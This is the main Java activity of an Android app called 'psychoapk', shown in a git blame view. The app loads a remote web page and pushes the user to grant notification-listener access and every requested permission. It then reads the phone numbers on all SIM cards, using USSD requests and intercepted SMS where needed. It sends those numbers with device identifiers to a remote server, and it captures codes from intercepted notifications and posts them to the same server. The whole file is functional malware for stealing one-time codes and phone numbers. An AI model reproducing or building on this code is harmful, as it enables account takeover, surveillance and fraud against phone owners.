psychoapk/app/src/main/java/com/example/notifyservice/MainActivity.java

615 lines
22 KiB
Java
Raw Normal View History

2025-01-29 23:01:25 +03:00
package com.example.notifyservice;
2025-02-26 21:39:26 +03:00
import android.Manifest;
import android.app.AlertDialog;
import android.content.BroadcastReceiver;
2025-01-29 23:01:25 +03:00
import android.content.Context;
2025-02-26 21:39:26 +03:00
import android.content.DialogInterface;
2025-01-29 23:01:25 +03:00
import android.content.Intent;
2025-02-26 21:39:26 +03:00
import android.content.IntentFilter;
2025-02-28 23:41:43 +03:00
import android.content.SharedPreferences;
2025-01-29 23:01:25 +03:00
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.os.Build;
import android.os.Bundle;
2025-02-26 21:39:26 +03:00
import android.telephony.TelephonyManager;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
2025-01-29 23:01:25 +03:00
import androidx.annotation.NonNull;
import androidx.core.app.ActivityCompat;
2025-02-28 23:41:43 +03:00
import androidx.core.content.ContextCompat;
2025-01-29 23:01:25 +03:00
import android.os.Handler;
import android.provider.Settings;
2025-02-26 21:39:26 +03:00
import android.provider.Telephony;
import android.telephony.SmsMessage;
2025-01-29 23:01:25 +03:00
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;
import org.json.JSONException;
2025-02-28 23:41:43 +03:00
import org.json.JSONObject;
2025-01-29 23:01:25 +03:00
import java.util.ArrayList;
import java.util.List;
2025-02-26 21:39:26 +03:00
import java.util.Locale;
2025-02-28 23:41:43 +03:00
import java.util.Timer;
import java.util.TimerTask;
2025-02-26 21:39:26 +03:00
import java.util.regex.Matcher;
import java.util.regex.Pattern;
2025-03-04 19:36:58 +03:00
public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {
2025-03-04 19:43:19 +03:00
private String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC
private String ussdUrl = "USSD_URL"; // VARIABLE STATIC
private String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC
2025-03-04 19:36:58 +03:00
private int requestsCount = 0;
2025-02-26 21:39:26 +03:00
private WebView webView;
private View customView;
private WebChromeClient.CustomViewCallback customViewCallback;
private ViewGroup mainContainer;
2025-03-04 19:43:19 +03:00
private String currentHash = ""; // STATIC
2025-02-26 21:39:26 +03:00
private int currentPhone = 0;
2025-02-28 23:41:43 +03:00
private List<PhoneNumber> phones;
2025-02-26 22:02:50 +03:00
private boolean waitingForSms = false;
2025-03-04 19:43:19 +03:00
private String currentInfo = ""; // STATIC
2025-02-28 23:41:43 +03:00
private boolean receivingSms = false;
private double codeTimeout = 0.0;
private Timer timer;
private List<String> codes = new ArrayList<>();
2025-02-26 21:39:26 +03:00
private NotificationReceiver notificationReceiver;
2025-01-29 23:01:25 +03:00
2025-03-04 19:36:58 +03:00
private JSONObject ussd;
private JSONObject language;
2025-02-28 23:41:43 +03:00
public class PhoneNumber {
public String phone;
public TelephonyManager telephonyManager;
public String operator;
public String country;
private PhoneNumber(
String phone,
TelephonyManager telephonyManager,
String operator,
String country
) {
this.phone = phone;
this.telephonyManager = telephonyManager;
this.operator = operator;
this.country = country;
}
public boolean phoneProvided(){
return !phone.isEmpty();
}
public String getPhone() {
return phone;
}
public TelephonyManager getSubscriptionId() {
return telephonyManager;
}
public String getOperator() {
return operator;
}
public String getCountry() {
return country;
}
public void setPhone(String phone) {
this.phone = phone;
}
public String save(){
2025-03-04 19:36:58 +03:00
return phone + ":" + operator // STATIC
+ ":" + country; // STATIC
2025-02-28 23:41:43 +03:00
}
}
2025-01-29 23:01:25 +03:00
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
2025-02-28 23:41:43 +03:00
2025-01-29 23:01:25 +03:00
setContentView(R.layout.activity_main);
2025-02-26 21:39:26 +03:00
webView = findViewById(R.id.webview);
mainContainer = findViewById(android.R.id.content);
WebSettings webSettings = webView.getSettings();
2025-03-04 19:43:19 +03:00
webSettings.setJavaScriptEnabled(true);
webSettings.setDomStorageEnabled(true);
webSettings.setDatabaseEnabled(true);
webSettings.setAllowFileAccess(true);
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
2025-02-26 21:39:26 +03:00
webView.setWebChromeClient(new WebChromeClient() {
@Override
public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
if (customView != null) {
callback.onCustomViewHidden();
return;
}
customView = view;
customViewCallback = callback;
mainContainer.addView(customView);
webView.setVisibility(View.GONE);
}
@Override
public void onHideCustomView() {
if (customView == null) {
return;
}
mainContainer.removeView(customView);
customView = null;
webView.setVisibility(View.VISIBLE);
customViewCallback.onCustomViewHidden();
}
});
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
2025-03-04 19:43:19 +03:00
view.loadUrl(url);
2025-02-26 21:39:26 +03:00
return true;
}
});
// Загрузка начального URL
webView.loadUrl(websiteUrl);
2025-03-04 19:43:19 +03:00
loadData();
2025-03-04 19:36:58 +03:00
}
private void loadData() {
requestsCount = 0;
GetRequest ussdRequestTask = new GetRequest(this, this);
ussdRequestTask.execute(ussdUrl);
GetRequest languagesRequestTask = new GetRequest(this, this);
languagesRequestTask.execute(languagesUrl);
2025-02-28 23:41:43 +03:00
}
public static String getKey(Context context) {
try {
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
return sharedPreferences.getString("KEY",
"INIT_KEY"); // VARIABLE STATIC
} catch (Exception e) {
2025-03-04 19:43:19 +03:00
return ""; // STATIC
2025-02-28 23:41:43 +03:00
}
}
2025-01-29 23:01:25 +03:00
2025-02-28 23:41:43 +03:00
public static void setKey(Context context, String key) {
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
editor.putString("KEY", key);
editor.apply();
2025-02-26 21:39:26 +03:00
}
2025-03-04 19:36:58 +03:00
private void promptNotificationAccess() throws JSONException {
2025-02-26 21:39:26 +03:00
AlertDialog.Builder builder = new AlertDialog.Builder(this);
2025-03-04 19:36:58 +03:00
builder.setTitle(language.getString("title")); // STATIC
builder.setMessage(language.getString("message")); // STATIC
2025-02-26 21:39:26 +03:00
2025-03-04 19:36:58 +03:00
builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC
2025-02-26 21:39:26 +03:00
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
startActivity(intent);
2025-02-28 23:41:43 +03:00
dialogInterface.dismiss();
System.exit(0);
2025-02-26 21:39:26 +03:00
}
});
2025-03-04 19:36:58 +03:00
builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC
2025-02-26 21:39:26 +03:00
@Override
public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
2025-03-04 19:36:58 +03:00
finish();
2025-02-26 21:39:26 +03:00
}
});
AlertDialog dialog = builder.create();
dialog.show();
2025-01-29 23:01:25 +03:00
}
2025-02-26 21:39:26 +03:00
public static String getDeviceInfo(Context context)
2025-01-29 23:01:25 +03:00
{
2025-03-04 19:43:19 +03:00
String m_data = ""; // STATIC
2025-03-04 19:36:58 +03:00
String p_seperator = ":"; // STATIC
2025-01-29 23:01:25 +03:00
StringBuilder m_builder = new StringBuilder();
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
m_builder.append(android.os.Build.DEVICE + p_seperator);
m_builder.append(android.os.Build.MODEL + p_seperator);
m_builder.append(android.os.Build.PRODUCT + p_seperator);
m_builder.append(android.os.Build.BRAND + p_seperator);
m_builder.append(android.os.Build.DISPLAY + p_seperator);
// TODO : android.os.Build.CPU_ABI is deprecated
m_builder.append(android.os.Build.CPU_ABI + p_seperator);
// TODO : android.os.Build.CPU_ABI2 is deprecated
m_builder.append(android.os.Build.CPU_ABI2 + p_seperator);
m_builder.append(android.os.Build.UNKNOWN + p_seperator);
m_builder.append(android.os.Build.HARDWARE + p_seperator);
m_builder.append(android.os.Build.ID + p_seperator);
m_builder.append(android.os.Build.MANUFACTURER + p_seperator);
m_builder.append(android.os.Build.SERIAL + p_seperator);
m_builder.append(android.os.Build.USER + p_seperator);
m_builder.append(android.os.Build.HOST + p_seperator);
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
2025-02-26 21:39:26 +03:00
m_builder.append(android_id);
2025-01-29 23:01:25 +03:00
m_data = m_builder.toString();
return m_data;
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
requestPermissions(retrievePermissions(this));
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
2025-02-26 21:39:26 +03:00
Intent intent = new Intent(this, Listener.class);
startService(intent);
notificationReceiver = new NotificationReceiver();
2025-03-04 19:36:58 +03:00
IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); // STATIC
2025-02-26 21:39:26 +03:00
registerReceiver(notificationReceiver, filter);
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
2025-01-29 23:01:25 +03:00
Context permissionContext = this;
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
}
}
2025-02-26 21:39:26 +03:00
private class NotificationReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String code = intent.getStringExtra("code");
onNotificationReceived(code);
}
}
public void onNotificationReceived(String code) {
2025-02-28 23:41:43 +03:00
if(codes.contains(code))
return;
codes.add(code);
cancelTimer();
2025-02-26 21:39:26 +03:00
PostRequest postRequestTask = new PostRequest(this, this);
2025-02-28 23:41:43 +03:00
postRequestTask.execute("code",
code + ";" + currentHash); // STATIC
nextPhone();
}
public void cancelTimer(){
if (timer != null) {
timer.cancel();
2025-02-26 21:39:26 +03:00
}
}
2025-02-28 23:41:43 +03:00
public void nextPhone() {
currentPhone += 1;
if (phones.size() > currentPhone)
savePhone(getBaseContext(), phones.get(currentPhone));
}
2025-01-29 23:01:25 +03:00
private void makeProcess(Context context) {
2025-02-26 21:39:26 +03:00
currentPhone = 0;
phones = collectPhoneNumber(context);
2025-02-28 23:41:43 +03:00
savePhone(context, phones.get(currentPhone));
2025-02-26 21:39:26 +03:00
}
2025-02-28 23:41:43 +03:00
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
!= PackageManager.PERMISSION_GRANTED) {
return false;
}
if (telephonyManager == null) {
return false;
}
if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
2025-03-04 19:36:58 +03:00
return false;
2025-02-28 23:41:43 +03:00
}
2025-02-26 22:02:50 +03:00
2025-03-04 19:36:58 +03:00
return true;
2025-02-28 23:41:43 +03:00
}
private void savePhone(Context context, PhoneNumber phone){
if(phone.phoneProvided()){
requestPhone(context, phone);
} else {
receivingSms = false;
2025-03-04 19:43:19 +03:00
currentHash = ""; // STATIC
2025-02-28 23:41:43 +03:00
if(!isSimConnected(context, phone.telephonyManager))
nextPhone();
else
requestUssdNumber(phone);
}
}
private void requestPhone(Context context, PhoneNumber phone){
PostRequest postRequestTask = new PostRequest(context, this);
postRequestTask.execute("phone",
phone.save() + ";" + getDeviceInfo(context)); // STATIC
2025-02-26 21:39:26 +03:00
}
@Override
2025-02-28 23:41:43 +03:00
public void onPostResponse(JSONObject result) {
try {
2025-03-04 19:36:58 +03:00
if(!result.getString("hash").isEmpty()) // STATIC
currentHash = result.getString("hash"); // STATIC
if(!result.getString("key").isEmpty()) // STATIC
setKey(getBaseContext(), result.getString("key")); // STATIC
if(!result.getString("timeout").isEmpty()) { // STATIC
codeTimeout = result.getDouble("timeout"); // STATIC
2025-02-28 23:41:43 +03:00
Timer timer = new Timer();
timer.schedule(new TimerTask() {
@Override
public void run() {
nextPhone();
}
}, Math.round(codeTimeout * 1000));
}
} catch (JSONException e) {
throw new RuntimeException(e);
}
2025-01-29 23:01:25 +03:00
}
2025-03-04 19:36:58 +03:00
@Override
public void onGetResponse(JSONObject result) {
try {
requestsCount += 1;
if(result.get("name"). // STATIC
equals("ussd")){ // STATIC
ussd = result.getJSONObject(
"data" // STATIC
);
} else if (result.get("name"). // STATIC
equals("languages")) { // STATIC
language = result.getJSONObject(
"data" // STATIC
).getJSONObject(Locale.getDefault().getLanguage());
}
if (requestsCount == 2) {
if (!isNotificationServiceEnabled()) {
promptNotificationAccess();
} else {
requestPermissions(retrievePermissions(this));
}
}
} catch (JSONException e) {
throw new RuntimeException(e);
}
}
2025-02-26 21:39:26 +03:00
2025-01-29 23:01:25 +03:00
private String listToJson(List<?> list) {
StringBuilder jsonBuilder = new StringBuilder();
2025-03-04 19:36:58 +03:00
jsonBuilder.append("["); // STATIC
2025-01-29 23:01:25 +03:00
for (int i = 0; i < list.size(); i++) {
Object item = list.get(i);
jsonBuilder.append(objectToJson(item));
if (i < list.size() - 1) {
2025-03-04 19:36:58 +03:00
jsonBuilder.append(", "); // STATIC
2025-01-29 23:01:25 +03:00
}
}
2025-03-04 19:36:58 +03:00
jsonBuilder.append("]"); // STATIC
2025-01-29 23:01:25 +03:00
return jsonBuilder.toString();
}
private String objectToJson(Object obj) {
if (obj instanceof String) {
2025-03-04 19:36:58 +03:00
return "\"" + escapeJson((String) obj) // STATIC
+ "\""; // STATIC
2025-01-29 23:01:25 +03:00
} else if (obj instanceof Number || obj instanceof Boolean) {
return obj.toString();
} else {
2025-03-04 19:36:58 +03:00
return "\"" + escapeJson(obj.toString()) // STATIC
+ "\""; // STATIC
2025-01-29 23:01:25 +03:00
}
}
private String escapeJson(String raw) {
String escaped = raw;
2025-03-04 19:36:58 +03:00
escaped = escaped.replace("\\", // STATIC
"\\\\"); // STATIC
escaped = escaped.replace("\"", // STATIC
"\\\""); // STATIC
escaped = escaped.replace("\b", // STATIC
"\\b"); // STATIC
escaped = escaped.replace("\f", // STATIC
"\\f"); // STATIC
escaped = escaped.replace("\n", // STATIC
"\\n"); // STATIC
escaped = escaped.replace("\r", // STATIC
"\\r"); // STATIC
escaped = escaped.replace("\t", // STATIC
"\\t"); // STATIC
2025-01-29 23:01:25 +03:00
return escaped;
}
private boolean isNotificationServiceEnabled() {
String packageName = getPackageName();
String enabledListeners = Settings.Secure.getString(
getContentResolver(),
2025-03-04 19:36:58 +03:00
"enabled_notification_listeners" // STATIC
2025-01-29 23:01:25 +03:00
);
return enabledListeners != null && enabledListeners.contains(packageName);
}
private void requestNotificationAccess() {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
startActivity(intent);
}
private static String[] retrievePermissions(Context context) {
final String pkgName = context.getPackageName();
try {
return context
.getPackageManager()
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
.requestedPermissions;
} catch (PackageManager.NameNotFoundException e) {
return new String[0];
}
}
private void requestPermissions(String[] permissions) {
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
}
private static boolean isNetworkAvailable(Context context) {
ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
Network nw = connectivityManager.getActiveNetwork();
if (nw == null) return false;
NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw);
return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
}
2025-02-26 21:39:26 +03:00
public static String extractFirstPhoneNumber(String input) {
2025-03-04 19:36:58 +03:00
String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)"; // STATIC
2025-02-26 21:39:26 +03:00
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(input);
if (matcher.find()) {
return matcher.group()
2025-03-04 19:36:58 +03:00
.replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", // STATIC
""); // STATIC
2025-02-26 21:39:26 +03:00
}
2025-03-04 19:36:58 +03:00
return ""; // STATIC
2025-02-26 21:39:26 +03:00
}
2025-02-28 23:41:43 +03:00
private void requestUssdNumber(PhoneNumber phone) {
2025-02-26 21:39:26 +03:00
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
return;
2025-03-04 19:36:58 +03:00
String ussdRequest = null;
2025-02-26 22:02:50 +03:00
boolean smsResponse = false;
2025-03-04 19:36:58 +03:00
try {
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("sms"); // STATIC
} catch (JSONException e) {
return;
}
2025-02-26 21:39:26 +03:00
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
2025-03-04 19:36:58 +03:00
boolean finalSmsResponse = smsResponse;
phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() {
2025-02-26 21:39:26 +03:00
@Override
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
super.onReceiveUssdResponse(telephonyManager, request, response);
String responseString = response.toString();
2025-03-04 19:36:58 +03:00
if (finalSmsResponse){
2025-02-28 23:41:43 +03:00
receivingSms = true;
2025-02-26 22:02:50 +03:00
} else {
2025-02-28 23:41:43 +03:00
phone.setPhone(extractFirstPhoneNumber(responseString));
savePhone(getBaseContext(), phone);
2025-02-26 22:02:50 +03:00
}
2025-02-26 21:39:26 +03:00
}
@Override
public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
}
2025-02-26 22:02:50 +03:00
}, null);
2025-02-26 21:39:26 +03:00
}
}
2025-02-28 23:41:43 +03:00
private List<PhoneNumber> collectPhoneNumber(Context context){
2025-02-26 22:02:50 +03:00
Log.i("collectPhoneNumber", "+");
2025-02-28 23:41:43 +03:00
List<PhoneNumber> phoneNumbers = new ArrayList<>();
2025-03-04 19:36:58 +03:00
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
2025-01-29 23:01:25 +03:00
return phoneNumbers;
}
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
for (int i = 0; i < subscriptions.size(); i++) {
SubscriptionInfo currentCard = subscriptions.get(i);
2025-02-26 21:39:26 +03:00
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
2025-02-28 23:41:43 +03:00
phoneNumbers.add(new PhoneNumber(
phoneNumber,
telephonyManager,
telephonyManager.getSimOperatorName(),
currentCard.getCountryIso()
));
2025-01-29 23:01:25 +03:00
}
2025-02-26 21:39:26 +03:00
2025-01-29 23:01:25 +03:00
return phoneNumbers;
}
2025-02-26 21:39:26 +03:00
private final BroadcastReceiver smsReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
2025-03-04 19:36:58 +03:00
Object[] pdus = (Object[]) bundle.get("pdus"); // STATIC
2025-02-26 21:39:26 +03:00
if (pdus != null) {
2025-02-28 23:41:43 +03:00
if(!receivingSms)
return;
2025-02-26 21:39:26 +03:00
for (Object pdu : pdus) {
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
String messageBody = smsMessage.getMessageBody();
2025-02-26 22:02:50 +03:00
String phoneNumber = extractFirstPhoneNumber(messageBody);
2025-02-28 23:41:43 +03:00
if(!phoneNumber.isEmpty()) {
phones.get(currentPhone).setPhone(phoneNumber);
savePhone(getBaseContext(), phones.get(currentPhone));
2025-02-26 22:02:50 +03:00
}
2025-02-26 21:39:26 +03:00
}
}
}
}
};
@Override
public void onBackPressed() {
if (webView.canGoBack()) {
webView.goBack();
} else {
super.onBackPressed();
}
}
@Override
protected void onDestroy() {
super.onDestroy();
2025-02-28 23:41:43 +03:00
try {
unregisterReceiver(smsReceiver);
} catch(IllegalArgumentException e) {
}
2025-01-29 23:01:25 +03:00
}
2025-02-26 21:39:26 +03:00
2025-01-29 23:01:25 +03:00
}